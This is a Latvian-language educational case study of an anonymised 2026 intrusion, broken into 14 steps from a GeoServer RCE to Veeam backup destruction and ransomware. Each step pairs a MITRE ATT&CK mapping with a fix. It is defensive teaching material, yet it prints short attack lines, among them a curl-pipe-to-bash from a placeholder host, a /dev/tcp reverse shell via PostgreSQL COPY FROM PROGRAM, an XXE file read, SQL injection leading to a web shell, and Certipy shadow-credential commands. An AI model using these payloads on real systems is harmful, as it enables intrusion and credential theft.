OSINT · MĀCĪBU MATERIĀLS · LESSONS LEARNED

Anatomija viena kiberuzbrukuma

Kā 14 soļos no vienas internetā pieejamas kļūdas tika pārņemta visa infrastruktūra — un kā katru no šīm kļūdām novērst. Anonimizēts gadījuma pētījums (2026. g. jūnijs, Latvija).

Bez sensitīviem datiem | 14 anti-pattern → fix | MITRE ATT&CK | Dwell time ~10 dienas | 2026-06-28

/ Laika līnija — cik ilgi nepamanīts

Rekonstruēts no publiski noplūdušo ekrānuzņēmumu laika zīmēm (datumi anonimizēti līdz dienai).

Redzamie laiki ekrānuzņēmumos pierāda ~10 dienu klātbūtni (12.→22. jūn) PIRMS atklāšanas — saskan ar publisko eksperta vērtējumu 'vairāk nekā nedēļu'. Tas ir galvenais detekcijas-aiztures mācību punkts.

/ Uzbrukuma ķēde — 14 kļūdas un to labojumi

Katra kartīte: ievainojamības klase · MITRE taktika · kā strādā · problēma · piemērs · labojums. Visi iekšējie nosaukumi, IP un konti ir aizklāti.

1 Sākotnējā piekļuve — GeoServer RCE

KRITISKS

Initial Access · `T1190 – Exploit Public-Facing Application`

KĀ STRĀDĀ GeoServer atbalsta sarežģītus pieprasījumus, kur var uzdot formulu (piem., 'saskaiti šos divus laukus'). To formulu apstrādā maza palīgbibliotēka commons-jxpath.

PROBLĒMA Bibliotēka neatšķīra parastu formulu no datora komandas. Tāpēc formulas vietā varēja ierakstīt komandu, un GeoServer to nevis nolasīja kā tekstu, bet izpildīja uz servera.

```
valueReference = exec(java.lang.Runtime.getRuntime(), 'curl http://uzbrucejs/x | bash')
```

SALĪDZINĀJUMS *Pasūti restorānā ēdienu, bet komentāru lodziņā ieraksti 'un atslēdz visas durvis virtuvē' — pavārs to izdara, jo nepārbaudīja, vai tas ir ēdiens vai pavēle.*

Galvenā kļūda: ievaddatus uztvēra kā izpildāmu kodu. To sauc par RCE — Remote Code Execution (attālināta koda izpilde).

✓ **Labojums:** Patchot GeoServer, noņemt no interneta vai aiz WAF; atspējot commons-jxpath izvērtēšanu; ieviest egress filtrēšanu DMZ serveriem.

2 ArcGIS RMI — pievils-virsma (aizsardzība nostrādāja)

INFO

Discovery · `T1046 – Network Service Discovery`

KĀ STRĀDĀ Java serveri var saņemt 'tālvadības objektus' caur RMI. Senāk uzbrucēji sūtīja viltus objektu, kas, serverim to izpakojot (deserializējot), izpildīja kodu.

PROBLĒMA Šeit problēmas NEbija — jaunākā Java ar JEP290 darbojas kā 'baltais saraksts': izpako tikai atļautās klases, pārējās uzreiz bloķē.

```
DGC rejected deserialization of java.util.HashMap (JEP290 is installed) → Non Vulnerable
```

SALĪDZINĀJUMS *Pasts, kas atver tikai aploksnes no zināmiem sūtītājiem, bet nezināmās tūlīt izmet, tās neatverot.*

Klase: Insecure Deserialization — šeit pareizi novērsts. Mācība: jauns JDK + deserializācijas filtri tiešām strādā.

✓ **Labojums:** Slēgt nevajadzīgos RMI portus (uzbrukuma virsma) pat ja deserializācija bloķēta.

3 Splunk autentificēts RCE (pivots)

AUGSTS

Execution / Lateral Movement · `T1059 – Command and Scripting Interpreter`

KĀ STRĀDĀ Splunk ļauj lietotājiem augšupielādēt 'aplikācijas' (paplašinājumus). Tās var saturēt skriptus/XSLT transformācijas, ko Splunk pats izpilda.

PROBLĒMA Ar derīgu (vāju) login hakeris augšupielādēja ļaunu app, un Splunk to izpildīja kā root. SELinux bija 'unconfined' — nekādu ierobežojumu procesam.

```
msf > use exploit/multi/http/splunk_xslt_authenticated_rce → uid=0(root),
context=unconfined_service
```

SALĪDZINĀJUMS *Birojs, kur jebkurš darbinieks drīkst pievienot 'spraudni', un dators to palaiž ar direktora tiesībām.*

Klase: Authenticated RCE caur app upload. Problēma: vājas paroles + lietotāji drīkst augšupielādēt izpildāmu kodu.

✓ **Labojums:** Stipras unikālas Splunk admin paroles + MFA; aizliegt lietotāju app augšupielādi; SELinux confined politika; SIEM audits ārpus pašas Splunk.

4 PostgreSQL COPY … FROM PROGRAM RCE

AUGSTS

Execution / Lateral Movement · `T1059 — Command and Scripting Interpreter`

KĀ STRĀDĀ PostgreSQL komanda COPY parasti ielādē/izvada datus no faila. Bet variants COPY … FROM PROGRAM palaiž operētājsistēmas programmu un paņem tās izvadi.

PROBLĒMA To drīkst tikai superuser. Aplikācijas DB kontam bija superuser tiesības, tāpēc hakeris caur to palaida jebkuru OS komandu.

```
CREATE TABLE x(o text); COPY x FROM PROGRAM 'bash -i >& /dev/tcp/UZBRUCEJS/4444 0>&1';
```

SALĪDZINĀJUMS *Grāmatvedim iedeva direktora atslēgu karti — tagad viņš var ne tikai grāmatot, bet atvērt jebkuras durvis ēkā.*

Klase: RCE caur pārāk privileģētu DB kontu (superuser tur, kur nevajag).

✓ **Labojums:** Noņemt superuser no app DB kontiem; ierobežot COPY PROGRAM; PostgreSQL pieejams tikai no app servera.

5 GeoServer XXE recon + admin kontu identificēšana

VIDĒJS

Discovery / Credential Access · `T1083 — File and Directory Discovery`

KĀ STRĀDĀ Serveri pieņem XML pieprasījumus. XML var definēt 'entītijas' (saīsinājumus). 'Ārējās entītijas' ļauj XML ielādēt ārēju resursu vai lokālu failu.

PROBLĒMA XML parsers ļāva ārējās entītijas, tāpēc hakeris piespieda serveri nolasīt lokālus failus (piem., /etc/passwd) un atdot to saturu atbildē.

```
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> … &xxe; → redzami konti <konts>, <konts>, <konts>
```

SALĪDZINĀJUMS *Aizpildi anketu, kur vienā lauciņā ieraksti 'ielīmē šeit seifa satura kopiju', un iestāde paklausīgi to pievieno atbildei.*

Klase: XXE — XML External Entity (failu lasīšana / informācijas noplūde). Mācība: atspējot ārējās entītijas parserī.

✓ **Labojums:** Patchot VISUS hostus (ne dažus); atspējot ārējās entītijas XML parseros; nelietot atpazīstamus admin kontu nosaukumus, ieviest LAPS un atsevišķus admin kontus.

6 FreePBX SQLi → web shell → AD apakštīkls

KRITISKS

Lateral Movement · `T1190 / T1505.003 — Web Shell`

KĀ STRĀDĀ Tīmekļa lapas glabā datus datubāzē un veido SQL pieprasījumus no ievaddatiem (piem., no meklēšanas lauka vai parametra URL).

PROBLĒMA FreePBX neattīrīja ievadi, tāpēc hakeris ierakstīja SQL kodu, kas mainīja pieprasījuma jēgu — pievienoja sev admin kontu un augšupielādēja web shell. Vēl ļaunāk: serveris bija tajā pašā tīklā kā AD.

```
GET /admin/config.php?display=modules&id=1' UNION SELECT … → izveido admin → /sh.php?c=id
```

SALĪDZINĀJUMS *Veidlapā 'vārds' vietā ieraksti 'Jānis; un padari mani par direktoru' — sistēma izpilda abas daļas.*

Klase: SQL Injection (ievaddati sajaukti ar komandu). Pastiprina: plakans tīkls bez segmentācijas.

✓ **Labojums:** Patchot/izolēt FreePBX; VoIP atsevišķā VLAN, nekad kopā ar AD/serveru segmentu; web shell detekcija (failu integritāte, Linux EDR).

7 Redis (bez auth) + Hangfire job RCE

AUGSTS

Lateral Movement · `T1059 — Command and Scripting Interpreter`

KĀ STRĀDĀ Redis ir ātra atmiņas datubāze; Hangfire tajā glabā 'fona darbu' sarakstu (ko serverim izpildīt). Darbs apraksta .NET klasi un metodi, ko serveris izsauc.

PROBLĒMA Redis bija bez paroles un sasniedzams tīklā. Hakeris ierakstīja viltus 'darbu', kas izsauc System.Diagnostics.Process.Start, un serveris to izpildīja.

```
redis-cli HSET hangfire:job:1 Type "System.Diagnostics.Process" Method "Start" Args "[base64 čaula]"
```

SALĪDZINĀJUMS *Uz biroja ledusskapja (bez slēdzenes) pielīmē uzdevumu lapiņu 'palaid šo programmu', un darbinieks to izdara bez jautāšanas.*

Klase: Redis bez auth + nedrošs darbu avots → RCE. Mācība: parole/ACL un piekļuve tikai no app.

✓ **Labojums:** Redis requirepass/ACL + protected-mode, saistīt uz localhost; Hangfire deserializācijas ierobežojumi; piekļuve Redis tikai no app.

8 JDWP (Java debug ports) izpilde

AUGSTS

Lateral Movement · `T1210 — Exploitation of Remote Services`

KĀ STRĀDĀ Java izstrādei ir 'atkļūdošanas režīms' (JDWP, parasti ports 5005). Tas ļauj attālināti apturēt programmu un pat izpildīt jebkuru kodu tās iekšienē.

PROBLĒMA JDWP pēc dizaina NAV nekādas autentifikācijas. Tas palika ieslēgts produkcijā, tāpēc jebkurš, kas sasniedz portu 5005, var izpildīt kodu.

```
nmap → 5005/tcp jdwp ; jdb → breakpoint → java.lang.Runtime.getRuntime().exec("bash -c  ... ")
```

SALĪDZINĀJUMS *Atstāj atvērtas 'tehniskās durvis' aiz mājas bez slēdzenes, un uz tām vēl rakstīts 'te drīkst darīt visu'.*

Klase: atklāts debug ports = neautentificēta RCE. Mācība: debug režīms OFF produkcijā, ja vajag — tikai localhost.

✓ **Labojums:** Nekad neatstāt JDWP/debug portus produkcijā; ja vajag — tikai localhost; skenēt tīklu atvērtiem debug portiem.

9 BloodHound + decompilēti JAR → EWS impersonācija

KRITISKS

Credential Access / Collection · `T1552.001 — Credentials In Files`

KĀ STRĀDĀ Java aplikācijas (JAR faili) ir vienkārši arhīvi — tos var 'atpakaļkompilēt' un izlasīt avotu. BloodHound savāc AD datus un parāda, kurš kontu var izmantot, lai tiktu līdz administratoriem.

PROBLĒMA JAR iekšā bija ierakstīta parole (hardcoded secret). Konts '<konts>' turklāt bija ar EWS ApplicationImpersonation tiesībām — tas ļauj lasīt JEBKURA lietotāja pastu.

```
jd-gui app.jar → String pass = "S3cr3t!";  +  <konts> ∈ <grupa> (EWS)
```

SALĪDZINĀJUMS *Atslēga noslēpta zem kājslauķa, un blakus saraksts 'kuras durvis ved uz seifu'.*

Klase: Hardcoded secrets + pārāk plašas tiesības (impersonation). Mācība: noslēpumi vault, minimālas tiesības.

✓ **Labojums:** Nekādu noslēpumu kodā/JAR (secrets vault + rotācija); noņemt plašu ApplicationImpersonation; pašiem regulāri palaist BloodHound, lai atrastu šādus ceļus.

10 ManageEngine Password Manager Pro (7021 paroles)

KRITISKS

Credential Access · T1555 — Credentials from Password Stores

KĀ STRĀDĀ ManageEngine Password Manager Pro (PMP) ir 'paroļu seifs' — centralizēti glabā visu sistēmu paroles, lai administratori tās ērti lieto.

PROBLĒMA Tiklīdz hakeris ar augstām tiesībām piekļuva seifam, viņš to vienkārši EKSPORTĒJA — 7021 paroles vienā failā, bez papildu šķēršļiem (nav MFA/JIT/eksporta brīdinājuma).

```
PMP → Resource Exported (7021 paroles; lielākā daļa = AD konti) no <IP>
```

SALĪDZINĀJUMS *Visa biroja atslēgas vienā kastē; kas tiek pie kastes, tiek pie visas ēkas uzreiz.*

Klase: 'kroņa dārgumu' centralizācija bez aizsardzības → masveida kredenciālu zādzība.

✓ **Labojums:** PMP ar MFA, IP ierobežojumi, just-in-time piekļuve, brīdinājumi par masveida eksportu; ROTĒT visas 7021 paroles (uzskatāmas par noplūdušām).

11 Certipy Shadow Credentials → Domain Admin

KRITISKS

Privilege Escalation · T1649 — Steal or Forge Authentication Certificates

KĀ STRĀDĀ AD kontam var pievienot 'atslēgu kredenciālu' (msDS-KeyCredentialLink) — sertifikātu, ar ko pieteikties bez paroles (domāts Windows Hello u.tml.).

PROBLĒMA Ja vari rakstīt šo lauku CITAM kontam, vari pievienot SAVU atslēgu administratoram un pieteikties kā viņš → iegūt TGT un NT hash. Serveri bija patchoti, bet AD CS / ACL konfigurācija to atļāva.

```
certipy shadow auto -u user@<domēns> -account admin → TGT + NT hash → nxc smb <IP> (Pwn3d!)
```

SALĪDZINĀJUMS *Tev atļauj pievienot SAVU pirksta nospiedumu direktora durvīm — tagad tu vienkārši ieej kā direktors.*

Klase: AD CS / ACL misconfig (ESC, Shadow Credentials) → Domain Admin bez paroles.

✓ **Labojums:** Auditēt AD CS šablonus (ESC1-ESC8); ierobežot, kas drīkst rakstīt msDS-KeyCredentialLink; tiered admin modelis; uzraudzīt Certipy/shadow cred parakstus.

12 vCenter / vSphere pilnīga pārņemšana (428 VM)

KRITISKS

Impact / Control · T1078 — Valid Accounts

KĀ STRĀDĀ vCenter ir visu virtuālo serveru centrālā pults — start/stop, konsole un pat piekļuve katras VM diskam (428 VM).

PROBLĒMA vCenter pieteikšanās bija sasaistīta ar parasto AD. Tāpēc pēc Domain Admin iegūšanas hakeris automātiski kļuva arī par vCenter administratoru.

```
Login Administrator@<serveris> → <serveris> → 428 VMs (pilna kontrole)
```

SALĪDZINĀJUMS *Viena galvenā slēdzene, kas atver visu serveru telpu un katra servera 'cieto disku'.*

Klase: pārvaldības plaknes sasaiste ar AD = single point of failure. Mācība: atsevišķs SSO + MFA vCenter.

✓ **Labojums:** vCenter SSO atdalīts no parastā AD DA; MFA; atsevišķi vSphere admin konti; ESXi lockdown režīms; segmentēts pārvaldības tīkls.

13 Sliver C2 'mežs' (persistence)

AUGSTS

Command and Control · T1071.001 – Application Layer Protocol

KĀ STRĀDĀ Pēc piekļuves uzbrucēji uzstāda 'beacon' — programmu, kas periodiski 'atzvana mājās' pēc komandām. Sliver ir populārs šāda C2 (Command & Control) rīks.

PROBLĒMA Beacon izmantoja mTLS pa portu 443 (parastais HTTPS ports), tāpēc sajaucas ar normālu trafiku. Nebija EDR un izejošās trafika inspekcijas, lai to pamanītu.

```
sliver > sessions → 10+ hosti (splunk, <serveris>, <serveris> ...) visi root, mtls, 443
```

SALĪDZINĀJUMS *Spiegs birojā, kas katras 30 sekundes piezvana priekšniekam pa parasto telefonu — neviens nepamana vienu zvanu starp tūkstošiem.*

Klase: C2 persistence. Mācība: EDR + izejošā trafika/uzvedības (beacon) detekcija.

✓ **Labojums:** EDR/anomāliju detekcija (arī Linux); izejošā TLS/JA3 analīze; beacon-periodicitātes meklēšana; aplikāciju balti saraksti serveriem.

14 Veeam: backup iznīcināšana + eksfiltrācija → Ransomware

KRITISKS

Impact · T1490 / T1486 – Inhibit Recovery / Data Encrypted for Impact

KĀ STRĀDĀ Veeam veido rezerves kopijas (backup) — galvenais glābiņš pēc avārijas vai ransomware, lai datus varētu atjaunot.

PROBLĒMA Veeam serveris bija domēnā un sasniedzams ar Domain Admin tiesībām. Hakeris apturēja/izdzēsa backup darbus PIRMS šifrēšanas, tāpēc nebija no kā atjaunoties.

```
FreeRDP → Veeam konsole (<serveris>) → visi backup darbi 'Stopped' → tad ransomware
```

SALĪDZINĀJUMS *Pirms aplaupīšanas zaglis vispirms sagriež signalizāciju un izņem rezerves atslēgas, lai neviens nevar atgriezties iepriekšējā stāvoklī.*

Klase: 'inhibit recovery' (T1490) + datu šifrēšana (T1486). Mācība: imutabls, no domēna izolēts backup.

✓ **Labojums:** Imutabls, offline/air-gapped backup (3-2-1-1-0) atsevišķi no domēna ar atsevišķiem kontiem + MFA; brīdinājumi par backup darbu masveida apturēšanu; regulāri atjaunošanas testi.

/ Ko uzbrucējs ieguva (datu kategorijas)

Bez konkrētiem datiem — tikai kategorijas, lai saprastu seku mērogu.

Kategorija	Apraksts	Ietekme
Kredenciāli (paroļu glabātuve)	7021 paroles no ManageEngine PMP — lielākā daļa Active Directory konti	🔴
Active Directory noslēpumi	~7000 paroļu/NT hešu, 4 shadow credentials, Exchange admin parole tīrā tekstā	🔴
E-pasts (Exchange/EWS)	Pilna piekļuve jebkura lietotāja pastam caur ApplicationImpersonation	🔴
Pirmkods un aplikācijas	GitLab pirmkods + decompilēti JAR ar hardkodētiem kredenciāliem	🟠
Active Directory struktūra	Pilna AD kartēšana (BloodHound) — grupas, ceļi, impersonācijas tiesības	🟠
Virtualizācijas platforma	vCenter kontrole pār 428 VM (potenciāla piekļuve visu VM diskiem)	🔴
Datubāzes	PostgreSQL un saistīto sistēmu saturs (RCE līmenī)	🟠
Masveida eksfiltrācija	Hakera anotācija (14. posms): 'All data exfiltrated' pirms ransomware	🔴
Personas dati (publiski apstiprināts)	Darbinieku/klientu vārdi, personas kodi, kontaktinformācija; ~1400 darbinieku paroles atzītas par kompromitētām (organizācija/CERT publiski)	🔴

/ MITRE ATT&CK karte

Technika	Taktika
`T1190`	Exploit Public-Facing Application
`T1046`	Network Service Discovery
`T1059`	Command and Scripting Interpreter
`T1083`	File and Directory Discovery
`T1190 / T1505.003`	Web Shell
`T1210`	Exploitation of Remote Services
`T1552.001`	Credentials In Files
`T1555`	Credentials from Password Stores
`T1649`	Steal or Forge Authentication Certificates
`T1078`	Valid Accounts
`T1071.001`	Application Layer Protocol
`T1490 / T1486`	Inhibit Recovery / Data Encrypted for Impact

/ Top kļūdas, ko nepieļaut

1. Plakans tīkls / vāja segmentācija — FreePBX un AD vienā apakštīklā (6., 14. posms).
2. Nepatchoti pieejami servisi — GeoServer, FreePBX, Splunk, JDWP (1., 3., 6., 8.).
3. Pārāk privileģēti servisa konti — PostgreSQL superuser, root visur, EWS impersonācija (4., 9.).
4. Noslēpumi pieejami — hardkodēti kredenciāli JAR; PMP ar 7021 parolēm (9., 10.).

5. Neierobežota izejošā saite (egress) — reverse shell un C2 brīvi uz 443/80 (1., 13.).
6. AD CS / Shadow Credentials konfigurācija — DA pat ar patchotiem serveriem (11.).
7. Backup nav imutabls/izolēts — iznīcināts pirms ransomware (14.).
8. Detekcijas trūkums — neviena posma laikā nebija reakcijas; Splunk pašu pārņēma (viss).

Par šo dokumentu. Izglītojošs OSINT apkopojums, balstīts uz publiski pieejamu informāciju un publiski noplūdušu materiālu metadatiem. Apzināti **neiekļauj** ekrānuzņēmumus, iekšējos hostname/IP, kontu vai personu vārdus, paroles vai jebkādu sensitīvu saturu. Mērķis — lai izstrādātāji un IT komandas mācās no šīm kļūdām un tās nepieļauj. Nav oficiāls nevienas iestādes dokuments. Ģenerēts: 2026-06-28.